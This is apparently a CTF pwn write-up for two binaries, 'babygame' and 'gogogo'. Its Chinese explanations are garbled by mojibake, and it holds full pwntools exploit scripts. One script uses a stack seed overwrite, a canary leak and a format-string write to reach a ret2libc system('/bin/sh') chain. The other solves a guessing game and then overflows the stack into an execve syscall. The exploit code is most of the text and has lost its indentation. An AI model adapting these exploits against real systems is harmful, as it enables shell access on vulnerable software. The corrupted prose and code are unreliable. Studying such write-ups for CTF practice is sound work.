難過
babygame
思路
題目大意是剪刀石頭布進(jìn)行猜拳陆馁,設(shè)置了種子绳匀,但種子在棧上台腥,且可溢出覆蓋
所以就改掉種子投放,然后再for循環(huán)和它比奈泪,從而實(shí)現(xiàn)繞過進(jìn)入漏洞函數(shù)
格式化字符串漏洞,只有一次跪呈,泄露libc同時(shí)跳到有棧溢出的那個(gè)read里
一開始因?yàn)闆]有泄露地址猶豫了很久段磨,后來發(fā)現(xiàn)前邊覆蓋種子的時(shí)候似乎能進(jìn)行泄露。耗绿。
EXP
from pwn import*
from ctypes import *
# p = process('./babygame')
#p = remote('120.25.205.249','20346')
elf = ELF("./babygame")
context.arch = "amd64"
# libc = elf.libc
libc = elf.libc
libc1 = cdll.LoadLibrary('./libc-2.31.so')
# context.log_level='debug'
gad=[0xe3b2e,0xe3b31,0xe3b34]
'''
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
def pwn():
p.recvuntil("Please input your name:")
p.send(0x100*'b'+8*'b'+'a')
p.recvuntil('a')
canary = u64('\x00'+p.recv(7))
stack = u64(p.recv(6)+'\x00'*2)
lg('canary',canary)
lg('stack',stack)
libc1.srand(0x62626262626262)
for i in range(1,101):
j = str((libc1.rand()+1)%3)
p.recvuntil('round '+str(i)+': ')
p.send(j)
game = 0x153E
ret = stack-(0x7ffea348d4c0-0x7ffea348d2a8)
pay = "%{}c%{}$hnk%9$p".format(1218,8)
pay += p64(ret)
p.recvuntil('Good luck to you.')
p.send(pay)
p.recvuntil('k')
libc_base = int(p.recv(14),16)-175-libc.sym['printf']
lg('libc_base',libc_base)
one = gad[1] + libc_base
system = libc_base+libc.sym['system']
bin_sh = libc_base+next(libc.search('/bin/sh\x00'))
pop_rdi = libc_base + 0x23b72
ret = 0x0000000000022679+libc_base
'''
0x0000000000023b72: pop rdi; ret;
0x0000000000022679: ret;
'''
pay = 0x100*'b'+p64(canary)*5+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.send(pay)
times = 0
while 1:
try:
p = process("./babygame")
pwn()
p.interactive()
except:
times += 1
print("="*8+str(times)+" times"+"="*8)
p.close()
tips:
這里也可以通過棧上的函數(shù)地址泄露pie偏移苹支,就不用爆破了
復(fù)現(xiàn)
gogogo
思路
賽后看這題其實(shí)也不難,比賽的時(shí)候怎么就做不出呢
image.png
go語言程序误阻,函數(shù)入口在math_init债蜜,字符串的輸出都是單個(gè)字母晴埂,所以程序流不太好判斷。
先要過第一個(gè)判斷
image.png
如果進(jìn)入elseif程序就結(jié)束了
我go不太好寻定,大概應(yīng)該是和開線程有關(guān)系儒洛,重新執(zhí)行g(shù)ame
image.png
然后就如題所說是個(gè)游戲
image.png
然后就是網(wǎng)上找腳本繞過,這里改了一下驗(yàn)證函數(shù)(這部很關(guān)鍵狼速,但其實(shí)這題爆破結(jié)果也能解琅锻,就是時(shí)間久一點(diǎn))
python初學(xué)---猜數(shù)字游戲(游戲與AI,原創(chuàng)) - funolove - 博客園 (cnblogs.com)
然后就根據(jù)程序流找字符串向胡,然后定位函數(shù)位置
這里是are you sure?恼蓬,然后有個(gè)read
image.png
makeslice函數(shù)(19條消息) GO語言slice詳解(結(jié)合源碼)_胖子依然6的博客-CSDN博客_go語言slice源碼這里有解釋
Read_read讀入0x800,棧溢出0x460僵芹,調(diào)用syscall即可
image.png
image.png
EXP
# coding=utf-8
from pwn import *
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p=process("./gogogo")
def guessTrainner():
start =time.time()
answerSet=answerSetInit(set())
for i in range(6):
inputStrMax=suggestedNum(answerSet,100)
print('第%d步----' %(i+1))
print('嘗試:' +inputStrMax)
print('----')
AMax,BMax = compareAnswer(inputStrMax)
print('反饋:%dA%dB' % (AMax, BMax))
print('----')
print('排除可能答案:%d個(gè)' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
answerSetUpd(answerSet,inputStrMax,AMax,BMax)
if AMax==4:
elapsed = (time.time() - start)
print("猜數(shù)字成功处硬,總用時(shí):%f秒,總步數(shù):%d拇派。" %(elapsed,i+1))
break
elif i==5:
print("猜數(shù)字失敽稍!")
def compareAnswer(inputStr):
inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
p.sendline(inputStr1)
ru('\n')
tmp = p.recvuntil('B',timeout=0.5)
# print(tmp)
if tmp == '':
return 4,4
tmp = tmp.split("A")
A = tmp[0]
B = tmp[1].split('B')[0]
return int(A),int(B)
def compareAnswer1(inputStr,answerStr):
A=0
B=0
for j in range(4):
if inputStr[j]==answerStr[j]:
A+=1
else:
for k in range(4):
if inputStr[j]==answerStr[k]:
B+=1
return A,B
def answerSetInit(answerSet):
answerSet.clear()
for i in range(1234,9877):
seti=set(str(i))
if len(seti)==4 and seti.isdisjoint(set('0')):
answerSet.add(str(i))
return answerSet
def answerSetUpd(answerSet,inputStr,A,B):
answerSetCopy=answerSet.copy()
for answerStr in answerSetCopy:
A1,B1=compareAnswer1(inputStr,answerStr)
if A!=A1 or B!=B1:
answerSet.remove(answerStr)
def answerSetDelNum(answerSet,inputStr,A,B):
i=0
for answerStr in answerSet:
A1, B1 = compareAnswer1(inputStr, answerStr)
if A!=A1 or B!=B1:
i+=1
return i
def suggestedNum(answerSet,lvl):
suggestedNum=''
delCountMax=0
if len(answerSet) > lvl:
suggestedNum = list(answerSet)[0]
else:
for inputStr in answerSet:
delCount = 0
for answerStr in answerSet:
A,B = compareAnswer1(inputStr, answerStr)
delCount += answerSetDelNum(answerSet, inputStr,A,B)
if delCount > delCountMax:
delCountMax = delCount
suggestedNum = inputStr
if delCount == delCountMax:
if suggestedNum == '' or int(suggestedNum) > int(inputStr):
suggestedNum = inputStr
return suggestedNum
ru("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
ru("PLEASE INPUT A NUMBER:")
p.sendline("1234")
ru("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()
sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")
syscall = 0x47CF05
binsh = 0xc00007c000
payload = '/bin/sh\x00'*0x8c + p64(syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)
sla("ARE YOU SURE?",payload)
p.interactive()